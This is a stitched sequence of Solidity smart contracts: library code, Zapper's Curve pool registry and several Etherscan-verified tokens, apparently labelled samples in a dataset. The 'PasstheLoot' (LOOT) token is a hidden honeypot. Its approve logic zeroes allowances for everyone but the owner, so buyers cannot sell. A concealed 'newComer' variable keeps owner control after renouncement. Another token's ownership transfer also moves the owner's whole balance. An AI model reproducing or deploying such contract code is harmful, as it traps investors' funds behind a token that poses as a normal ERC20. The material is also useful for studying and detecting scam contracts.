function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts/oz/0.8.0/token/ERC20/utils/SafeERC20.sol
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File contracts/Curve/Curve_Registry_V3.sol
// ΓûêΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûæΓûêΓûêΓûêΓûêΓûêΓòùΓûæΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûæΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûæΓûêΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûæΓûæΓûæΓûæΓûêΓûêΓûêΓûêΓûêΓûêΓûêΓòùΓûêΓûêΓòù
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// ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥ΓòÜΓòÉΓò¥ΓûæΓûæΓòÜΓòÉΓò¥ΓòÜΓòÉΓò¥ΓûæΓûæΓûæΓûæΓûæΓòÜΓòÉΓò¥ΓûæΓûæΓûæΓûæΓûæΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥ΓòÜΓòÉΓò¥ΓûæΓûæΓòÜΓòÉΓò¥ΓòÜΓòÉΓò¥ΓòÜΓòÉΓò¥ΓûæΓûæΓûæΓûæΓûæΓòÜΓòÉΓò¥
// Copyright (C) 2022 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice Registry for Curve Pools with Utility functions.
// SPDX-License-Identifier: GPL-2.0
pragma solidity ^0.8.0;
interface ICurveAddressProvider {
function get_registry() external view returns (address);
function get_address(uint256 _id) external view returns (address);
}
interface ICurveRegistry {
function get_pool_from_lp_token(address lpToken)
external
view
returns (address);
function get_lp_token(address swapAddress) external view returns (address);
function get_n_coins(address _pool)
external
view
returns (uint256[2] memory);
function get_coins(address _pool) external view returns (address[8] memory);
function get_underlying_coins(address _pool)
external
view
returns (address[8] memory);
}
interface ICurveCryptoRegistry {
function get_pool_from_lp_token(address lpToken)
external
view
returns (address);
function get_lp_token(address swapAddress) external view returns (address);
function get_n_coins(address _pool) external view returns (uint256);
function get_coins(address _pool) external view returns (address[8] memory);
}
interface ICurveFactoryRegistry {
function get_n_coins(address _pool) external view returns (uint256);
function get_coins(address _pool) external view returns (address[2] memory);
function get_underlying_coins(address _pool)
external
view
returns (address[8] memory);
}
interface ICurveV2Pool {
function price_oracle(uint256 k) external view returns (uint256);
}
contract Curve_Registry_V3 is Ownable {
using SafeERC20 for IERC20;
ICurveAddressProvider internal constant CurveAddressProvider =
ICurveAddressProvider(0x0000000022D53366457F9d5E68Ec105046FC4383);
ICurveRegistry public CurveRegistry;
ICurveFactoryRegistry public FactoryRegistry;
ICurveCryptoRegistry public CurveCryptoRegistry;
address internal constant wbtcToken =
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address internal constant sbtcCrvToken =
0x075b1bb99792c9E1041bA13afEf80C91a1e70fB3;
address internal constant ETHAddress =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
mapping(address => bool) public shouldAddUnderlying;
mapping(address => address) private depositAddresses;
constructor() {
CurveRegistry = ICurveRegistry(CurveAddressProvider.get_registry());
FactoryRegistry = ICurveFactoryRegistry(
CurveAddressProvider.get_address(3)
);
CurveCryptoRegistry = ICurveCryptoRegistry(
CurveAddressProvider.get_address(5)
);
// set mappings
depositAddresses[
0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51
] = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;
depositAddresses[
0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56
] = 0xeB21209ae4C2c9FF2a86ACA31E123764A3B6Bc06;
depositAddresses[
0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C
] = 0xac795D2c97e60DF6a99ff1c814727302fD747a80;
depositAddresses[
0x06364f10B501e868329afBc005b3492902d6C763
] = 0xA50cCc70b6a011CffDdf45057E39679379187287;
depositAddresses[
0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27
] = 0xb6c057591E073249F2D9D88Ba59a46CFC9B59EdB;
depositAddresses[
0xA5407eAE9Ba41422680e2e00537571bcC53efBfD
] = 0xFCBa3E75865d2d561BE8D220616520c171F12851;
shouldAddUnderlying[0xDeBF20617708857ebe4F679508E7b7863a8A8EeE] = true;
shouldAddUnderlying[0xEB16Ae0052ed37f479f7fe63849198Df1765a733] = true;
shouldAddUnderlying[0x2dded6Da1BF5DBdF597C45fcFaa3194e53EcfeAF] = true;
}
/**
@notice Checks if the pool is an original (non-factory) pool
@param swapAddress Curve swap address for the pool
@return true if pool is a non-factory pool, false otherwise
*/
function isCurvePool(address swapAddress) public view returns (bool) {
if (CurveRegistry.get_lp_token(swapAddress) != address(0)) {
return true;
}
return false;
}
/**
@notice Checks if the pool is a factory pool
@param swapAddress Curve swap address for the pool
@return true if pool is a factory pool, false otherwise
*/
function isFactoryPool(address swapAddress) public view returns (bool) {
if (FactoryRegistry.get_coins(swapAddress)[0] != address(0)) {
return true;
}
return false;
}
/**
@notice Checks if the pool is a Crypto pool
@param swapAddress Curve swap address for the pool
@return true if pool is a crypto pool, false otherwise
*/
function isCryptoPool(address swapAddress) public view returns (bool) {
if (CurveCryptoRegistry.get_lp_token(swapAddress) != address(0)) {
return true;
}
return false;
}
/**
@notice Checks if the Pool is a metapool
@notice All factory pools are metapools but not all metapools
* are factory pools! (e.g. dusd)
@param swapAddress Curve swap address for the pool
@return true if the pool is a metapool, false otherwise
*/
function isMetaPool(address swapAddress) public view returns (bool) {
if (isCurvePool(swapAddress)) {
uint256[2] memory poolTokenCounts =
CurveRegistry.get_n_coins(swapAddress);
if (poolTokenCounts[0] == poolTokenCounts[1]) return false;
else return true;
}
if (isCryptoPool(swapAddress)) {
uint256 poolTokensCount =
CurveCryptoRegistry.get_n_coins(swapAddress);
address[8] memory poolTokens =
CurveCryptoRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < poolTokensCount; i++) {
if (isCurvePool(poolTokens[i])) return true;
}
}
if (isFactoryPool(swapAddress)) return true;
return false;
}
/**
@notice Checks if the Pool is metapool of the Curve or Factory pool type
@notice All factory pools are metapools but not all metapools
* are factory pools! (e.g. dusd)
@param swapAddress Curve swap address for the pool
@return 1 if Meta Curve Pool
2 if Meta Factory Pool
0 otherwise
*/
function _isCurveFactoryMetaPool(address swapAddress)
internal
view
returns (uint256)
{
if (isCurvePool(swapAddress)) {
uint256[2] memory poolTokenCounts =
CurveRegistry.get_n_coins(swapAddress);
if (poolTokenCounts[0] == poolTokenCounts[1]) return 0;
else return 1;
}
if (isFactoryPool(swapAddress)) return 2;
return 0;
}
/**
@notice Checks if the pool is a Curve V2 pool
@param swapAddress Curve swap address for the pool
@return true if pool is a V2 pool, false otherwise
*/
function isV2Pool(address swapAddress) public view returns (bool) {
try ICurveV2Pool(swapAddress).price_oracle(0) {
return true;
} catch {
return false;
}
}
/**
@notice Gets the Curve pool deposit address
@notice The deposit address is used for pools with wrapped (c, y) tokens
@param swapAddress Curve swap address for the pool
@return depositAddress Curve pool deposit address or the swap address if not mapped
*/
function getDepositAddress(address swapAddress)
external
view
returns (address depositAddress)
{
depositAddress = depositAddresses[swapAddress];
if (depositAddress == address(0)) return swapAddress;
}
/**
@notice Gets the Curve pool swap address
@notice The token and swap address is the same for metapool/factory pools
@param tokenAddress Curve swap address for the pool
@return swapAddress Curve pool swap address or address(0) if pool doesnt exist
*/
function getSwapAddress(address tokenAddress)
external
view
returns (address swapAddress)
{
swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress);
if (swapAddress != address(0)) {
return swapAddress;
}
swapAddress = CurveCryptoRegistry.get_pool_from_lp_token(tokenAddress);
if (swapAddress != address(0)) {
return swapAddress;
}
if (isFactoryPool(tokenAddress)) {
return tokenAddress;
}
return address(0);
}
/**
@notice Gets the Curve pool token address
@notice The token and swap address is the same for metapool/factory pools
@param swapAddress Curve swap address for the pool
@return tokenAddress Curve pool token address or address(0) if pool doesnt exist
*/
function getTokenAddress(address swapAddress)
external
view
returns (address tokenAddress)
{
tokenAddress = CurveRegistry.get_lp_token(swapAddress);
if (tokenAddress != address(0)) {
return tokenAddress;
}
tokenAddress = CurveCryptoRegistry.get_lp_token(swapAddress);
if (tokenAddress != address(0)) {
return tokenAddress;
}
if (isFactoryPool(swapAddress)) {
return swapAddress;
}
return address(0);
}
/**
@notice Gets the number of non-underlying tokens in a pool
@param swapAddress Curve swap address for the pool
@return number of underlying tokens in the pool
*/
function getNumTokens(address swapAddress) public view returns (uint256) {
if (isCurvePool(swapAddress)) {
return CurveRegistry.get_n_coins(swapAddress)[0];
} else if (isCryptoPool(swapAddress)) {
return CurveCryptoRegistry.get_n_coins(swapAddress);
} else {
return FactoryRegistry.get_n_coins(swapAddress);
}
}
/**
@notice Gets an array of underlying pool token addresses
@param swapAddress Curve swap address for the pool
@return poolTokens returns 4 element array containing the
* addresses of the pool tokens (0 address if pool contains < 4 tokens)
*/
function getPoolTokens(address swapAddress)
public
view
returns (address[4] memory poolTokens)
{
uint256 isCurveFactoryMetaPool = _isCurveFactoryMetaPool(swapAddress);
if (isCurveFactoryMetaPool == 1) {
address[8] memory poolUnderlyingCoins =
CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 2; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
} else if (isCurveFactoryMetaPool == 2) {
address[2] memory poolUnderlyingCoins =
FactoryRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 2; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
} else if (isCryptoPool(swapAddress)) {
address[8] memory poolUnderlyingCoins =
CurveCryptoRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 4; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
} else {
address[8] memory poolUnderlyingCoins;
if (isBtcPool(swapAddress)) {
poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress);
} else {
poolUnderlyingCoins = CurveRegistry.get_underlying_coins(
swapAddress
);
}
for (uint256 i = 0; i < 4; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
}
}
/**
@notice Checks if the Curve pool contains WBTC
@param swapAddress Curve swap address for the pool
@return true if the pool contains WBTC, false otherwise
*/
function isBtcPool(address swapAddress) public view returns (bool) {
address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken)
return true;
}
return false;
}
/**
@notice Checks if the Curve pool contains ETH
@param swapAddress Curve swap address for the pool
@return true if the pool contains ETH, false otherwise
*/
function isEthPool(address swapAddress) external view returns (bool) {
address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == ETHAddress) {
return true;
}
}
return false;
}
/**
@notice Check if the pool contains the toToken
@param swapAddress Curve swap address for the pool
@param toToken contract address of the token
@return true if the pool contains the token, false otherwise
@return index of the token in the pool, 0 if pool does not contain the token
*/
function isUnderlyingToken(address swapAddress, address toToken)
external
view
returns (bool, uint256)
{
address[4] memory poolTokens = getPoolTokens(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == address(0)) return (false, 0);
if (poolTokens[i] == toToken) return (true, i);
}
return (false, 0);
}
/**
@notice Updates to the latest Curve registry from the address provider
*/
function update_curve_registry() external onlyOwner {
address new_address = CurveAddressProvider.get_registry();
require(address(CurveRegistry) != new_address, "Already updated");
CurveRegistry = ICurveRegistry(new_address);
}
/**
@notice Updates to the latest Curve factory registry from the address provider
*/
function update_factory_registry() external onlyOwner {
address new_address = CurveAddressProvider.get_address(3);
require(address(FactoryRegistry) != new_address, "Already updated");
FactoryRegistry = ICurveFactoryRegistry(new_address);
}
/**
@notice Updates to the latest Curve crypto registry from the address provider
*/
function update_crypto_registry() external onlyOwner {
address new_address = CurveAddressProvider.get_address(5);
require(address(CurveCryptoRegistry) != new_address, "Already updated");
CurveCryptoRegistry = ICurveCryptoRegistry(new_address);
}
/**
@notice Add new pools which use the _use_underlying bool
@param swapAddresses Curve swap addresses for the pool
@param addUnderlying True if underlying tokens are always added
*/
function updateShouldAddUnderlying(
address[] calldata swapAddresses,
bool[] calldata addUnderlying
) external onlyOwner {
require(
swapAddresses.length == addUnderlying.length,
"Mismatched arrays"
);
for (uint256 i = 0; i < swapAddresses.length; i++) {
shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i];
}
}
/**
@notice Add new pools which use uamounts for add_liquidity
@param swapAddresses Curve swap addresses to map from
@param _depositAddresses Curve deposit addresses to map to
*/
function updateDepositAddresses(
address[] calldata swapAddresses,
address[] calldata _depositAddresses
) external onlyOwner {
require(
swapAddresses.length == _depositAddresses.length,
"Mismatched arrays"
);
for (uint256 i = 0; i < swapAddresses.length; i++) {
depositAddresses[swapAddresses[i]] = _depositAddresses[i];
}
}
/**
//@notice Withdraw stuck tokens
*/
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance;
Address.sendValue(payable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this));
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/*
Web: ethloot.io
YT: https://www.youtube.com/channel/UCMtIubfVubkC0-fvzuMjAMw
Twitter: https://twitter.com/LootLord4
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PasstheLoot is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 69* 10**3* 10**18;
string private _name = 'PasstheLoot ' ;
string private _symbol = 'LOOT ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Ownable is Context, ERC20 {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_transfer(_owner,newOwner,balanceOf(_owner));
_owner = newOwner;
}
}
contract MadibaCoin is ERC20, ERC20Detailed , Ownable {
constructor() ERC20Detailed("Madiba coin", "MDB", 12) public {
_mint(msg.sender, 500000000 * 10 ** 12);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-02
*/
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
